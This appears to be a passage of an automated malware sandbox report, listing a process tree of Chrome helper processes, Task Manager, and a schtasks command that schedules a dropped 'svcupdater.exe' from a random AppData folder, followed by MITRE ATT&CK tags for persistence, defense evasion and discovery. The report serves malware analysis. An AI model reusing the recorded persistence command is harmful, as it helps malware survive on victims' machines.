- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1624,11154687848868424371,2598277283841030350,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=2012 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1576
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1624,11154687848868424371,2598277283841030350,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2336 /prefetch:8
    3⤵
    PID:3676
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1624,11154687848868424371,2598277283841030350,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2976 /prefetch:1
    3⤵
    PID:4712
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1624,11154687848868424371,2598277283841030350,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3052 /prefetch:1
    3⤵
    PID:4268
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1624,11154687848868424371,2598277283841030350,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3828 /prefetch:1
    3⤵
    PID:1740
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1624,11154687848868424371,2598277283841030350,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4508 /prefetch:8
    3⤵
    PID:5228
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1624,11154687848868424371,2598277283841030350,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4424 /prefetch:8
    3⤵
    PID:5236
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1624,11154687848868424371,2598277283841030350,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4764 /prefetch:8
    3⤵
    PID:5288
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1624,11154687848868424371,2598277283841030350,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4744 /prefetch:8
    3⤵
    PID:5476
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1624,11154687848868424371,2598277283841030350,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4916 /prefetch:8
    3⤵
    PID:5560
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1624,11154687848868424371,2598277283841030350,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5136 /prefetch:8
    3⤵
    PID:5604
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1624,11154687848868424371,2598277283841030350,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5280 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5612
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1624,11154687848868424371,2598277283841030350,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5316 /prefetch:8
    3⤵
    PID:5652
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1624,11154687848868424371,2598277283841030350,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5460 /prefetch:8
    3⤵
    PID:5716
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1624,11154687848868424371,2598277283841030350,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5540 /prefetch:1
    3⤵
    PID:5760
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1624,11154687848868424371,2598277283841030350,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5488 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5860
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1624,11154687848868424371,2598277283841030350,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5172 /prefetch:1
    3⤵
    PID:5504
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1624,11154687848868424371,2598277283841030350,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5096 /prefetch:1
    3⤵
    PID:5476
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1624,11154687848868424371,2598277283841030350,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3640 /prefetch:1
    3⤵
    PID:5716
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1624,11154687848868424371,2598277283841030350,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5408 /prefetch:1
    3⤵
    PID:4712
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1624,11154687848868424371,2598277283841030350,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1572 /prefetch:1
    3⤵
    PID:6376
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1624,11154687848868424371,2598277283841030350,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5148 /prefetch:1
    3⤵
    PID:6468
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1624,11154687848868424371,2598277283841030350,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2640 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:6580
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1624,11154687848868424371,2598277283841030350,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2384 /prefetch:1
    3⤵
    PID:6744
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1624,11154687848868424371,2598277283841030350,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3296 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:6864
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1624,11154687848868424371,2598277283841030350,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3136 /prefetch:1
    3⤵
    PID:6924
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1624,11154687848868424371,2598277283841030350,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1172 /prefetch:8
    3⤵
    PID:6876
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1624,11154687848868424371,2598277283841030350,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5788 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:6768
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1624,11154687848868424371,2598277283841030350,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=912 /prefetch:8
    3⤵
    PID:6800
- C:\Windows\system32\taskmgr.exe
  "C:\Windows\system32\taskmgr.exe" /4
  2⤵
  - Checks SCSI registry key(s)
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:7588

C:\Windows\system32\schtasks.exe
schtasks /create /tn \XgKocxNybk /tr "C:\Users\Admin\AppData\Roaming\XgKocxNybk\svcupdater.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f
1⤵
- Creates scheduled task(s)
PID:956

C:\Users\Admin\AppData\Roaming\XgKocxNybk\svcupdater.exe
C:\Users\Admin\AppData\Roaming\XgKocxNybk\svcupdater.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4660

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3952

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Web Service

T1102

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery